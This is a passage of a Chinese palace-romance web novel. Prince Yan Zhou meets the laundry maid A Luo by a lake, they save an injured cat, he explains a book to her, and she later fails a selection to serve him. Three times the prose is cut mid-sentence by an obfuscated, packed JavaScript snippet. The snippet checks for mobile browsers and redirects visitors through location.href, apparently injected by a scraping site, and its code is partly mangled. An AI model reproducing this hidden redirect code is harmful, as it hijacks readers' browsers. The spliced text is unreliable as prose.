燕昼耐着性子跟她解释：“你的脸面是脸面，人家小娘子的清白就不是清白？别闹到最后伤人又伤己。何况钩子放下去，还得有鱼咬才行。哪怕他慕容辉真看上一个浣衣婢，那也是你情我愿，你凭何身份去插手人家私事？” 再说，指不定还是慕容辉先瞧上人家呢，怎么能先入为主地认为是人家小娘子勾搭他呢？ 大概是语气凶了点，池芳蕖不敢置信瞪着眼，“你凶我？表兄你竟然敢凶我！呜呜呜——”头埋进臂弯里，伏卧在躺椅上痛哭出声，“慕容辉看不上我也就算了，就连表兄你都向着外人，我不活了不活了呜呜呜——” 道理讲不通，燕昼顿时一个脑袋两个大，朝怀安道：“你看着她，我出去走走。” 怀安一脸惊恐，指指池芳蕖，又指指自己，表示自己干不来，但燕昼选择性装瞎。 澄晖堂那么多人看着，出不了事，而且早在池芳蕖来的时候他就派人去通报皇后，一会儿含凉殿定会来人请她过去。 他心里还堵着呢，委实安慰不了人。 一路出了少阳院，向西直走，在掖庭北侧有一片树林。那里有一片湖，因形似月牙故名月牙湖。他往日里甚少过去，但今日，莫名有种找个清静地儿清清耳根子的冲动。 鬼使神差地，往西边迈步。 比不上内宫海池的蓬莱蜃景来得迷人，此地胜在清幽。月牙形湖水倒映着晚霞，垂柳枯枝撩拨着晚风。他顺着湖岸一路向前，抚过榆树皲裂的皮，踩过厚厚的败绿落叶。 前方有一座石拱桥，他毫不犹豫往桥上去。 石桥最高处风景尤美，天地、密林、镜湖，尽收眼底。驻足片刻，走至石栏边，打算在此静一静心。 却在低头那刻，不期与桥下一双乌灵灵的眼眸相遇。 4. 请教 像是哭过，眼尾勾着一点红。连同她抱着的那只三花狸奴，一同陷在桥下树林投出的暗影里。 阿罗蹲在湖边，凿开一小块冰层，漫出的湖水洇湿鞋尖。她懵怔着看向桥上人，落日余晖洒在周身，绯红衣袍映着落日余晖，灼灼耀目，领口与袖口圈着密实的黑色兽毛，护着手与颈，看上去很是暖和。 把怀里小臂长短的狸奴安放在湖边的干草地，阿罗起身，右手叠左手，抱在胸前屈膝：“奴婢见过大人。” 陌生男子，穿着富贵，称呼一声“大人”总没错。 落在燕昼耳里，便知对方不认得自己，那就更不可能知道他“三考三败”的“佳绩”。 暗暗松了口气。 碧荷色宫装，想来是掖庭的人。 她像是有什么心事，眉宇间仿佛笼着一道江南烟雨，雾蒙蒙的。额前垂落几绺碎发，脸颊是难以忽视的苍白，就连唇瓣都没有一丝血色。 她站在黑暗里，黑暗吞噬着她。 本该转身走的，可身体不听使唤。他由着自己一步步走下拱桥，停在离她三步远的地方，视线移向蜷缩在湖边干草上的狸奴。 “在喂猫？” 一股不知名的香气扑面而来，很好闻。阿罗垂着眼，“回大人，它不知打哪儿伤了腿，奴婢在给它清洗伤口。” 燕昼蹲下来，衣摆擦过湿泥，脏了，他却浑然不在意。 他猝不及防闯入她的眼帘，恰巧日头落下去一点，树影后移，日光涌入这方寸地。 方才站得远，许多细节都看不清。现在他近在咫尺，背对着她，衣料的暗纹流动着金芒，悬在腰侧的香囊用金线绣出孔雀的纹样。 富贵华美，却没有什么可以识别身份的象征。 她唤他“大人”，他并未否认，想来不是皇子。 所以是哪家公子年纪轻轻便官至高位，甚至可以随意出入宫廷？ “你这只狸奴，伤的不轻啊。” 声音打断思绪，他忽然仰头看过来，阿罗来不及避开视线，目光自那微微扬起的眉峰扫过，心头慌乱一跳，赶忙盯向水面。 入宫后学的第一条规矩就是不能盯着主子的脸瞧，她向来遵守，却没料到他会突然转头。 “奴婢瞧着像是在什么地方划了道口子。” “不是划的，是刀割的。”燕昼单手捏住狸奴后颈，另只手拨开它左腿根部橘黄的毛发，阿罗用水清理过血污，伤口一眼就能看到，“你看，伤口平整，没有撕裂痕迹，应是刀具所致，且下刀狠决。”手指滑向猫儿雪白的肚皮，“挣脱时刀尖划过腹部，才会留下这道由深至浅的血痕。” 还以为是被锋利的石头或枯枝伤的呢。 怎么也没想到是被刀具割伤的，再有半寸就伤到骨头了。阿罗稍一想，就知道是它倒霉撞见那些个坏心眼宦官，差点被人当下酒菜。 得亏它逃的快。 “血流的太快，有药吗？”燕昼问。 一小会儿功夫，刚洗干净的橘毛又被染红，四只雪白的小小猫爪乱蹬。 阿罗指指脚边盛有黑粉的铁盆，“草木灰，可以止血。”搅了搅手指，“奴婢只有这个。” 燕昼没见过草木灰，将信将疑，“我按着它，你来上药。” 一手捏颈，一手按腿，不到半岁的狸奴在燕昼手底下彻底放弃反抗。 阿罗用手把草木灰掺了水糊在伤口处，手按下去，没用力，一大股鲜血便涌出来，黑白橘相间的条纹瞬间统一为红色。 她狠狠咬了咬下唇，把泪水憋回眼眶。 大约一月前偶然发现了它，见它瘦得可怜，就回屋捡了块中午存下的软和干饼喂给它。三口就吃完了，那么一点干饼，它就跟了她一路，差点跟着回了寝屋。 取得它的信任，只需要一小块干饼，那些宦官大约就是用食物引它过去的。 闪现的水雾没有逃过燕昼的眼睛，心道她这是跟一只狸奴共情了？ 手里的狸奴干瘦，皮包骨，跟它的主子差不多。 掖庭都不给人饭吃吗？ 腕骨细瘦，他估量了下，自己单手就能扣住她的双腕。 最后洒上一层干燥的草木灰，阿罗在湖水里洗干净手，起身道：“多谢大人相助，奴婢在林子里给它搭了个窝，奴婢抱它过去吧。” 燕昼看了眼黑漆漆的树林，“我抱着吧，你别脏手了。” 说着就往林子里走，阿罗一愣，追上去为他引路。 树根夹出的三角空地铺有厚厚的干草，这就是阿罗口中的“窝”。 燕昼探手试了试，冷风飕飕地吹，半点不避风，小狸奴流着血睡在这儿，大约可以长眠了。 他保持着蹲姿，抬眼，小狸奴的主人正盯着“猫窝”出神，没注意他。 片刻后，她抬头望望天，紧抿着唇，两只浸过冷水的手泛着红，绞在一起，透露出心底的不安。 掖庭的条件跟规矩，这个窝，还有那盆草木灰，应该是她能做到的极限。 她应当也意识到小狸奴留在这儿多半性命不保，却是有心无力，只能听天由命。 “那个——”燕昼站起身，山岳般的身形，投下的影子将她完全笼罩，狸奴就窝在他的臂弯里，“我跟它挺投缘，想带回去养，不知小娘子肯不肯割爱？” 带回去养？这意味着什么？意味着小家伙不必再忍饥挨饿，不必再受冻，不会再被坏人欺负。 阿罗怀疑自己听错了，生怕他反悔，忙叠声道：“愿意愿意，自然愿意的。” 燕昼自内兜里摸出一枚金叶子，“不能白拿你的。” 不知道她缺什么，但有了钱，她可以买她想要的一切。 金叶子由黄金捶打而成，薄如纸张，柔韧不易碎，是富家子弟常拿来打赏用的东西。阿罗不知此物价值几何，但从制作工艺及用料来看，应当是价值不菲。 拿了这枚金叶子，她或许就可以提前一两年出宫。但是—— “大人收养它，奴婢感激您还来不及，岂能再收您的银钱？” 以为她是在礼貌性地推拒，燕昼又坚持了两次，最后看她仍跟倔石头似的坚决不收，这才慢吞吞收回手。 长到这么大，还是第一次有人拒绝他。 难道他已经失败到连金叶子都送不出去了吗？ 阿罗悄悄掀起眼皮观察他的神色，看上去是有点伤心，是因为她的拒绝吗？她给他省下一片金叶子，他难道不应该高兴吗？莫非他真是瞧上了小狸奴，想要名正言顺做它的主人？ “大人。”阿罗低着头解释道，“金叶子对奴婢来说太过贵重，叫旁的宫女瞧见兴许会惹来祸端，是以奴婢不敢收。如若大人执意要谢，前几日奴婢读书时有些句子读不太懂，大人可否为奴婢解惑？” 一枚金叶子顶十两银，叫旁人瞧见可不是要嫉妒？是他思虑不周了。燕昼把金叶子放好，沉甸甸的心松泛了些。 他给挣扎的小狸奴顺了顺毛，“自然可以……” 等等。 教什么？ 教书！ * 两人坐在桥头石阶上，相隔一拳的距离，冥暗天光勉强照亮墨字。 阿罗本是要跪地捧书给他看，可他说“不必如此”，叫她“随意一些即可”，结果就这么被他忽悠着坐下来。 与这样的贵人平起平坐，心里像是揣了只小兔，她花费许多力气才让自己忽略掉那股好闻的香气，集中精神。 “你来这儿是为了看书？”燕昼问。本来以为她纯粹是来喂猫的，现在看来，喂猫是顺带的。 阿罗不敢坐实，只有小块臀肉沾着石阶，半侧着身子道：“奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240733|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢不当值时喜欢来这儿看书，图一个清静。” 清静是清静，但独自一人在偏僻处，是不是不太安全？ 书还是崭新的，前几页被翻得边角有些卷。她翻找着，燕昼两手不自觉握紧在一起，心想怎么就随口答应了呢？燕昼啊燕昼，你书读的很好吗就敢给人家讲，也不怕误导人家！ 几次三番想捂肚子装病抱着狸奴溜之大吉，可每每对上那双饱含热切的眼睛，话就梗在喉咙里说不出口。 掖庭中人读书不易，他或许是她唯一能够抓住的机会。 狸奴蜷在身侧，血已经止住了，小东西安睡着，不时发出几声“喵呜”。 “找到了！”她满眼欢喜，把书捧至面前，点着其中两个字道，“请教大人此二字如何发音，又是何意？” 目光忐忑不安移过去。他会！燕昼松了口气。 “媟黩①，轻慢之意。” “媟黩……”阿罗重复念了数遍，而后读完整句，“房室周旋，遂生媟黩。媟黩既生，语言过矣。语言既过，纵恣必作。纵恣既作，则侮夫之心生矣……②”每个字都认识，但连起来就坏了。艰难开口，“奴婢不懂，还请大人赐教。” 读过《尚书》，再看这句话简直不要太简单。燕昼许久都没有过这种信心满满的感觉了。 “此句论的是夫妻相处之道，著书者以为，夫妻相处之道在于相敬如宾，过度亲昵易使女子产生轻慢之心，轻慢之心致使言语失当，进而行为放纵，以至于轻侮夫君。” 阿罗消化了许久，“也就是说，夫妻相处当克制己身，女子更应矜持守礼、尊敬夫君，奴婢理解的可对？” “应该吧，我觉得是这个意思。”燕昼心里像灌了蜜，头一次教人念书，竟然教会了！虽然他并不认可书中的道理。 女子要矜持，男子就不该自我约束吗？所谓“女之耽兮，不可脱也”，对自己的心上人，谁会出言侮辱？比起妇人辱夫，他更愿意相信男子负心薄幸后倒打一耙。 遇人不淑，就算是天上的仙女也能被挑出刺来。得遇良人，便是市井泼妇也是可爱无边。 所以重点不在于自省，也不在于自我修正，而是在于找到那个合适的人啊！ 想了想，忍不住提醒：“孟子曰‘尽信书不如无书’，著书者所言未必全对，你也莫要全然相信。” “尽信书不如无书？”阿罗头一次听见这种言论，倒是新奇，与陌安兄叮嘱的“圣贤之书，言必中正”完全不同，所以她该相信谁呢？ 还有，孟子是谁？ 直到入夜躺上床，阿罗还在思考这个问题。 梆梆梆，三更天的梆子响起，竟然已经这么晚了，明日还要早起点卯，必须睡了。眼皮轻阖，一切都瞧不见了，黑压压一片，却有一张脸，在这夜深人静时，清晰浮现在眼前。 他蹲着身，仰头看着她，飞扬的眉眼灼灼如朗日，干净、清澈。 阿罗忽地睁开眼，于万籁俱寂中听见自己的心跳，一声一声，鼓动着耳膜。 * 澄晖堂。 小狸奴的伤已经处理好了，一整条巴掌大的剔骨鲜鱼下肚，又喝了小碗的羊乳，现在正趴在脚踏，睡翻了肚皮。 燕昼仰躺在床上，屈臂枕在颅下，帐顶花纹精致，眼前浮现的却是傍晚湖边偶遇的小娘子。 黛眉似蹙非蹙，瘦若细柳，骨子里却是倔强。分别时口中还默念着“媟黩”二字，说是自己记性不好，害怕遗忘。 辗转反侧，他罕见地失了眠，心想掖庭宫婢尚且好学，他堂堂皇子，岂能被一本《尚书》击败？ 岁考没过又怎样？努把力，不信明年还不过！ 披衣下床，没有惊动任何人。端坐在书案前，腰背挺直，摊开《尚书》。 半盏茶的功夫，拜见周公。 5. 择选 “困成这样，昨儿没睡好？”从饭厅出来，阿茹端着饭碗追上阿罗。 饭厅人多，没有多余的空位，只好打完饭回屋吃。 阿罗两眼挂着乌青，一手端饭，一手端汤，敷衍道：“没吃饱，饿得睡不着。” 一听就不是实话，“说得像你哪顿吃饱过似的。”阿茹“哼”了声，阿罗没搭理她，继续往前走。 闭上眼，全是他的脸，明明只是匆匆一瞥，却不知为何记得那样真切。他教她念书，嗓音轻快，一遍又一遍回响在脑海。 要她怎么睡？ 唯一的慰藉大概就是，晨起温书，昨日他所解惑的句子竟然全部记得，一点遗忘都没有！ 她是有多幸运才得以遇见这位贵人，即便连他姓甚名谁都不知道，但也不妨碍她为他祝祷，希望菩萨保佑他心想事成！ “哎？” 愣着神，胳膊肘突然受力，一时不慎，端着的粗陶碗失手打碎，米汤混着豆羹拌土和了泥。 阿罗以为不小心撞了人，一句“抱歉”未说出口，就对上一道挑衅的目光。 “饭都端不稳，蠢成这样还想伺候局令？呸！”女子高挑，还涂了胭脂，身后跟着的两名宫女也挂着嘲讽的笑。 是干衣房的菊香。 “哟，饭洒了？可真是不好意思啊。”菊香手指点着下巴，丹蔻鲜艳，“可惜没有多余的饭，只好委屈我们阿罗姑娘饿一顿喽。” 扭着腰肢大笑着离开，两个跟班捧着碗，大块的烧肉，喷香的米饭，堆成小山。 菊香的靠山是谁，浣衣房人人皆知。阿罗一言不发，弯下腰，捡起手掌大小的干饼跟一小块腌菜，抹去沾脏的灰泥，放入嘴中，大口大口咀嚼。 靠山，她没有。 阿茹想起昨夜偶然听见的一桩秘事，“瞧菊香这副如临大敌的样，怎么，局令真瞧上你了？” 阿罗推门进屋，没作声。 “你也不用不搭理我，”放下碗，关好门，阿茹亲昵地挽住阿罗的臂，“刘嬷嬷憋着劲收拾你呢，想不想知道自个儿要倒什么霉？” 阿罗挣开她，翻出《女诫》继续看，阿茹也不气馁，“听说秦王的衣裳混咱们这儿来了？” 翻书的右手顿住。 阿茹瞧见勾了勾唇，“老规矩，拿钱买消息。” 谈得上钱的消息，必然是值那个价。秦王衣裳不是小事，且事关自己不得不重视。阿罗犹豫片刻，摸出十个铜板给她。 阿茹一枚一枚数过去，“衣裳前襟花纹被勾了线，说是从你接手的脏衣篓里翻出来的。” 一句话，阿罗了然。应当是局令不肯帮忙收拾烂摊子，梨子走投无路，打算把她推出去挡灾。 “想知道她打算怎么处置你么？”阿茹问，两手摊开，意思明显：加钱。 阿罗又给她十枚铜板。 “不够不够。”阿茹摇着食指，“事关性命，难道还不值五贯钱吗？” 五贯钱，那就是五两银子。 “我没有那么多。”阿罗冷声道。 阿茹撇嘴，“少来，咱们月钱四百文，攒到现在怎么也得有个七八贯。” 阿罗掀开床板给她看，三条黄蛇似的铜板串盘在里面，“这些年单是买书就花了将近三贯，月钱虽有四百文，却月月都被克扣，到手也不过三百文。我只有这些。” 阿茹瞧了眼，三贯零着几十枚铜板，她叹了声，“书能当饭吃还是能救命？花这冤枉钱。行吧，看在咱们同屋的份上，就收你三贯钱，你可得记着我的好。” “两贯钱。”阿罗出声，“你总要给我留下些应急用。这些消息，整个浣衣房只对我来说有价值。我不买，你连一个铜板都得不到。” 这是在威胁她！阿茹气瞪了眼。 自那夜看见阿罗脸上的红掌印起，她就开始留意阿罗的消息。为了这笔买卖，她欠了多少人情，要是阿罗不买，岂不是要竹篮打水一场空？ “行行行，两贯就两贯，摊上你这么个抠门鬼算本姑娘倒霉！” 两贯钱，足有两千文，串成两串，二十来斤重。 入宫两载，辛苦当差，衣裳从早洗到晚、从春洗到冬，日日无间断，终是只剩下一贯零几十个铜板。 可比起性命，这些又算得了什么？阿罗默默安慰自己，嘴上却是冷漠：“你的消息最好值这个价。” “那必须的。”阿茹藏好钱，朝外瞅了眼，压低声道，“我听说啊，刘嬷嬷打算用衣裳要挟你，把你献给局令呢！就这两天的功夫。” 把她献给局令？ 稍一想就明白过来，先前怕不是想错了，哪里来的局令不肯帮忙，分明是局令瞧上了她，刘氏想借此邀功。 她肯折腰，伺候好局令自然有人帮她摆平一切。但若是不肯，推出去顶罪也能了却一桩烦心事。 到头来，少阳院跟掖庭所有人清清白白，只有她，背负“偷盗并毁坏皇子之物”的罪名，死了也没人收尸。 刘氏还真是打了一手好算盘。 “我知道的可都告诉你了哦，早做打算。”阿茹拍拍她的肩，坐去桌前吃饭了。 阿罗坐在床上，木然良久。 直到急促的锣声传来，催促着干活，可她一点也不想动。 房梁朽木布满霉斑，朝北的房间终年见不得日光，这样卑躬屈膝如履薄冰的日子，她还要过多少年？ 可就算出宫又能怎样呢，没有银钱傍身，日子过得兴许还不如现在。 “阿罗快点，迟到又要扣钱！”阿茹推开门喊她。 浣衣的大水槽与水渠相通，浣衣婢搬着小凳坐成一排，木盆木桶棒槌人手一套，捣衣声此起彼伏。 洗到一半，皂角跟草木灰用尽，阿罗边用衣裳擦手边往库房去。 路过一段矮墙，向来冷清的地方今日却堵得水泄不通。阿罗挤不过去，一问才知，墙上贴了新告示，皇后要为秦王择选晓事宫女，只要是良籍宫女均可报名。 隔得远，只能瞧见一角黄纸。阿罗看不见字，对方说话又有口音，她便听成秦王要选“消食宫女”。 是饭后陪着散步消食吗？这都要人陪？她从没听说过有这种差事。但一想到秦王向来娇贵，他提的要求，帝后无有不应，为了他，在宫里新添一份差事也不是不可能。 “有说月钱吗？”阿罗只关心这个。 对方两眼晶亮，“一个月十两银子呢！” 十两，也就是十贯钱。阿罗怀疑自己听错了，“确定不是一年？” “一年十两，你拿秦王当什么了？他平时随手赏出去的东西就不止这个数。要是能在他身边伺候，好处多着呢！可惜只招四个，希望渺茫啊……” 脚底像踩了棉花，反应过来时，阿罗人已经在内侍省的报名处了。 宫牌递上去，嬷嬷扫了眼，捏开她的嘴巴瞧了瞧，“阿罗，掖庭浣衣婢，适龄。齿洁，齐整。上中。” 墙上贴着查验标准，字阿罗都认得。齿不洁、身有瑕疵者，年龄大于二十小于十六者，均不录用。她这是卡了个刚刚好。 一旁的小内侍提笔记录，另有人拿了宫牌去核对身契，阿罗心里悄悄打起鼓，心想慕容侍卫动作快，应该已经换好了吧？ 没多久，小内侍捧着宫牌趋步至前，朝着嬷嬷一点头，嬷嬷下巴朝身后房间一扬，“进去验身。” 小室幽闭，无窗，炭火烧得正旺。 衣衫尽褪，两名老嬷嬷的目光游移在每一寸肌肤，手指无情地按压关节，剧痛。 仅是做一名“消食宫女”便要查的这样严吗？ 被那“十两银子”冲昏了头，忘记再核实一遍差事的具体内容了。 手臂高抬，查看腋下。阿罗从未在人前赤身裸/体，难免羞涩。想抬手挡在胸前，却被嬷嬷按住，羞红的双颊以及内拢的双腿，无不昭示着她未经人事的单纯。 老嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈澜瞥他一眼，抿了一银勺生肌玉红膏涂匀在狸奴左腿与小腹伤处，“再有七日吧，再有七日你的猫儿子就能上蹿下跳，保管叫你找也找不着。” “猫儿子”三字着实刺耳，燕昼凉凉道：“沈澜，你是不是有病？” “我看有病的是你。”沈澜与燕昼从小一块儿长大，说话向来没什么顾忌，“我好歹也是正六品的太医署医官，曾祖父乃太宗朝尚药奉御，祖父官至太医令，你竟叫我救一只猫？有你这么侮辱人的吗？！” 燕昼反问：“猫的命就不是命？” 沈澜：“……” 燕昼：“医者，仁心也。你那仁心叫狗给吃了？” 沈澜：“……” 嘴上抹毒了吧！ 台阶不能指望燕昼递，沈澜自己递，“瞧你说的，我这不是看你这两天情绪不好，跟你开个玩笑乐呵乐呵，怎么还当真了？不过话说回来，怎么突然想起来养猫了？还养只这么丑的。先前波斯进贡来的那只多漂亮，也没见你要。” “各猫入各眼，我就喜欢这个。” 燕昼在座凳楣子上坐下，抱过狸奴，拨开腿毛，割裂的口子昨夜已经用桑皮线缝合好，养了一日，只剩下一道浅粉的痕迹。 他“啧”了声，“运气真好，刀再偏上一寸，就成猫公公了。” 小家伙正在长身体，一日要吃四顿餐。澄晖堂没有宫女，小内侍将银碟银盏摆好在回廊墙根，鱼肉切碎熬成浓汤，外加满满一碟子鲜鱼脍。 它被香气勾引得四爪乱踹，燕昼顺着脊骨撸了一把，才放它去用膳。 以防他练武后腹饿，庭院石桌上摆着为他准备的透花糍，吴兴米捣制的外皮轻薄如纸，内裹枣泥，皮上印花，上笼蒸熟后花纹半透，故名“透花”。 软糯可口，甜而不腻，她应该爱吃？ 燕昼让怀安找了个小食盒，把透花糍装进去，想了想，又多加了一本《尚书》。 湖边小树林，清静，适合读书。 提上就走，还不许怀安跟着，沈澜愣在原地：“喂，我还在这儿呢，你要去哪儿？” 燕昼摆摆手，“找个地方清静清静。” 读书读不进去，一定是澄晖堂太吵，他需要换一个环境。 嗯，一定是这样。 6. 结果 夕阳漫洒，月牙湖镀了金边。燕昼提着食盒，慢悠悠绕着湖走，走到石拱桥也没瞧见那抹碧荷色身影。 天色尚早，许是还未下值。 走到桥头坐下，还是昨天的位置。从食盒里取出《尚书》，翻开，没看两句，就被远处叽叽喳喳的麻雀吸引了目光，追逐着，跳跃在枯树枝头。 有只胆大的落在食盒边，伸着头去啄漆木盒盖。燕昼觉得有趣，掀开盒盖取一块透花糍，掰碎。 麻雀歪着头看他，起先啄一块就跑，后来胆子渐大，直接站在掌心吃。 越来越多麻雀被吸引过来，六块糕点喂出去三块，他冷声制止：“行了行了，你们都吃完了，她吃什么？” 麻雀们可怜唧唧看他，他移开眼，天幕不知何时变为浅紫色，书中字迹模糊不清，想来今日她是不得空了。 “行吧。”剩下的三块揉碎，麻雀哄抢，“喂饱你们，也算是日行一善。” “王爷！”怀安跑得气喘吁吁，“王爷，您怎么跑这儿来了，叫奴婢好找。” 燕昼收拾好食盒：“这儿清净，利于我念书。” 怀安盯着满地的麻雀跟那本被六只鸟爪子踩着的《尚书》。 您确定您不是来捅麻雀窝的？ 燕昼瞧他一眼，“什么事儿跑这么急？” 怀安：“王爷，今儿是十五，您忘啦？” 每月逢五逢十要去皇后的含凉殿用膳，燕昼一捂脑袋，“能不去吗？” 没脸去。 怀安：“……王爷，您别为难奴婢。” * 含凉殿。 临窗布置有美人榻，皇后池舒然斜倚着，百无聊赖翻书。团花纹细绒毯自榻上一路铺到阶下，有青衣宫女半跪在侧，用玉如意为皇后按摩腿肚。 紫檀木嵌百宝屏风隔出内外两个小间，天色已晚，殿内亮起了灯。窗棂新换的琉璃片，明亮，透着廊下的光，照在屏风，描出一道挺拔人影。 “见过秦王。”请安声迭起。 池舒然神情一振，撂下书匆忙下榻，宫女取来平底软鞋为她穿好，那边燕昼隔着屏风行礼道：“儿子见过母后。” “叫什么母后！”池舒然风风火火冲过去，满头珠翠乱摇，“叫阿娘。” “这不是礼不能废先喊一声么。”燕昼咧嘴一笑，“阿娘。” 池舒然上上下下打量一番儿子，见他眉目间爽朗依旧，没什么颓靡之色，便放下心来，“岁考没过咱们来年再考，你避着阿娘不见做什么？” 燕昼有些脸热，“儿子一时心急夹带小抄让爷娘蒙羞，是儿子不对，儿子往后绝不再犯。” “知错能改就好。”池舒然彻底放心了。 龙生九子各有不同，书读的差些无伤大雅，但心要是歪了，那才是做爷娘的失败。更何况站在他们这个位子上，邪念一起，今日作弊，明日就能卖官，后日就要起兵造反，到时于国于民都是灾难。 老三能有羞耻之心，坦荡认错，这很好。 儿子高出一个头，脸都摸不着了，池舒然拍拍他的手臂，“不是咒你啊，其实阿娘还挺盼着你多考两年，晚点开府，在宫里多陪陪阿娘。” 老大二十七，老二二十四，老三却只有十七。 天知道她二十八岁生辰当日把出喜脉时有多高兴，时隔七年再度妊娠，她跟燕昴的欢喜丝毫不亚于生老大的时候。 虽然最后还是没能儿女双全小小失落了下，但也不妨碍她对这个幺子的喜爱。 可惜一眨眼就要长出翅膀飞跑了。 燕昼抿着嘴巴无话可说。 其实，他真的挺想出宫的。 做娘的岂会看不出他那点心思，池舒然“噗”得一笑，“傻儿子，逗你的，皇子长大哪有不出宫开府的。你阿爷还没找到合适的宅子，等确定下来再找人修葺一番，最迟明年年底你就能搬出宫了。” 引着儿子往饭桌走，“年前你照常去崇文馆念书，阿娘的意思是等过了年就让你阿爷找个空缺给你，在朝中好生历练一番，免得日后远去封地叫阿娘挂心。” 燕昼脚步一顿，“可是儿子还没通过岁试。” 通过岁试才能开府供职，这是老祖宗定下的规矩。 池舒然不以为意，“一边历练一边考，等你什么时候考过了阿娘才能放你去封地。” 他绞尽脑汁要通过岁考，不就是为了能早日在朝中有所作为吗？至于去不去封地，不重要。燕昼脸上浮起笑，恨不能今日就是除夕。 有说有笑走入内殿，迈过隔扇门，一桌子佳肴闪着绿光，燕昼的笑容瞬间僵住，“阿娘，儿子的烤乳猪呢？” 备膳时，池舒然都会派专人去问燕昼想吃什么，这次他点了烤乳猪。 池舒然早料到他会问，“膳房那边说前几日你刚吃了烤肉，这两日又是羊汤又是鱼羹，半点青菜也没吃，所以今晚改吃素！” 燕昼苦了脸，与他一同苦脸的还有稍后过来的官家燕昴。 池舒然见他们迟迟不动筷，板脸道：“怎么，你们父子俩无肉不欢是吧？” 太子去给岳丈贺寿，二皇子祁王任户部度支郎中，奉皇命下江南巡察漕盐，两人都不在宫里。 燕昴抽了抽嘴角，给燕昼盛了一碗青菜豆腐羹，“少吃点肉，对身子有好处！” 燕昼来而不往非礼也，给亲爹夹了一筷子苦瓜，“阿爷也少吃些，儿子瞧您胖了不少。” “胡说！”燕昴心虚，果见池舒然瞥过来，“难道不是？新衣腰围宽了多少心里没数？” 燕昼抿着嘴憋笑，燕昴则一张老脸憋得通红。 饭毕，燕昴借口折子没批完先行回了蓬莱殿，燕昼又留下说了会儿话才告退离开。没想到刚出含凉殿就被燕昴身边的大公公袁喜叫去说阿爷有事找。 半只脚刚踏入蓬莱殿，便跟满殿的肉香撞了满怀。 燕昼看着那盘烤乳猪咽了咽嗓，“阿爷，阳奉阴违，这样不好吧……” 燕昴：“不吃就滚。” 燕昼吩咐袁喜：“取酒来，我陪阿爷喝上一盅！” * 内侍省。 吹熄灯烛，嬷嬷催着上榻。阿罗脱去鞋袜，宫装搁在枕边，按照要求穿着素白里衣裹进被窝。 宫女睡姿有严格要求，统一朝右侧躺。刚进宫那会儿不习惯，夜里睡着睡着就变为平躺或左侧卧，挨了不少板子才纠正过来。 十名宫女排得整齐，屋里点了安神香，不一会儿眼皮就开始发沉。 阿罗被熏得有些迷糊，窗户似乎没关严，寒风漏进来扑在脚面，有些冷，让人忍不住蜷腿。但板子拍在身上痛彻骨，她再不想体验那种滋味，绻缩的动作生生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240735|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被制止，任由一双脚冻到麻木。 不一会儿，人就昏昏沉沉睡过去，房门再度被推开。两名嬷嬷掌灯进来，观睡姿，听鼻息，看是否打呼、是否磨牙、是否口流涎水……好几项查下来，一屋子宫女唯有四人能入眼。 至天明时分，阿罗自然清醒，同屋的宫女大半还在熟睡。醒来的宫女中，有一人仰在床上享受难得的清闲时光，另有两人在低声闲谈。阿罗不善结交，沉默着穿好衣裳去打水净面。 到了院里才发现，昨儿见过的两名嬷嬷一左一右侍立在一年轻女子身侧。海棠红交领广袖短襦，下系一条秋香绿间湖蓝的十二破高腰长裙，从着装看，像是位五品女官。 嬷嬷朝她颔首，偏头对小内侍道：“律己，慎言，上上。” 为婢者，当早起侍主，且口风要严。这是最后一项考核了。 枯柳下，还站着四名同她一样的宫女。阿罗在一粉衣婢女身边站定，等了一刻钟，又陆续出来三人。 四四方方的院子，有三间屋舍。小内侍猛一敲锣，宫女们纷纷出门，从南、北、西三个方向聚拢来。阿罗粗略一数，昨儿歇在这儿的足有二十八人。 通过全部考核者，加上阿罗共八人。按照各项成绩外加出身背景综合排序，取前四名入少阳院澄晖堂侍奉秦王。 八个人屏气凝神听着女官宣名。 “第一名，尚仪局覃秋月——” “第二名，尚功局尹花瓷——” “第三名，尚食局银杏——” 只剩最后一个名额了，交叠的手紧握着彼此，凛冬的天，后背几乎要沁出汗。 “第四名，尚寝局朝蕊——” “以上四人留用，诸位可有异议？” 象征性问一句罢了，谁会又异议？ 体面地道了声“恭喜”，阿罗迈过朱门往掖庭去。 阴云遮蔽天光，红墙黛瓦夹出笔直的甬道，阿罗迎着风走，风刀子卷着枯叶割过脸颊，浅浅一道血痕。 掖庭就在前面，一切重新回到原点。 秦王的衣裳还在刘嬷嬷手中，她应该是跟局令达成某种合作，要的是她的屈从。 三日时间已过，再去找少阳院的宫人恳请他们主动认错是异想天开。更何况刘嬷嬷勾烂了胸前花纹，损坏皇子衣物罪加一等，杖三十革除出宫，没有人会主动认罪。 但若是走局令与尚服局的交情，那就完全不同了。 只需要他一句话，所有的难题就迎刃而解。 她非但不会被逐出宫，还会被调到干衣房，做最轻松的活儿，吃最好的饭，可以像菊香一样涂胭脂染丹蔻。 对她来说，或许这已是此生她能奢望到的最好的日子了。 忽然间，她感觉有些累，拖不动腿。脊背贴着朱墙，缓缓下滑。 这条甬道走的人少，不怕被人瞧见丑态。她靠墙蹲着，双手掩面，少顷有一两声细微的呜咽漏出指缝，卷入风里，吹入不远处绯袍少年耳中。 